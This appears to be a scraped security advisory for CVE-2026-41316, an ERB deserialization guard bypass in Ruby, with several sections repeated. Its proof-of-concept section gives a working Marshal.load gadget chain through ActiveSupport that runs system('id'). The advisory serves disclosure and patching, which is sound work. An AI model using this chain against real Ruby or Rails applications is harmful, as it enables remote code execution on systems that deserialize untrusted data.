The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 21, 2021

2.2.0 initial

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 18, 2020

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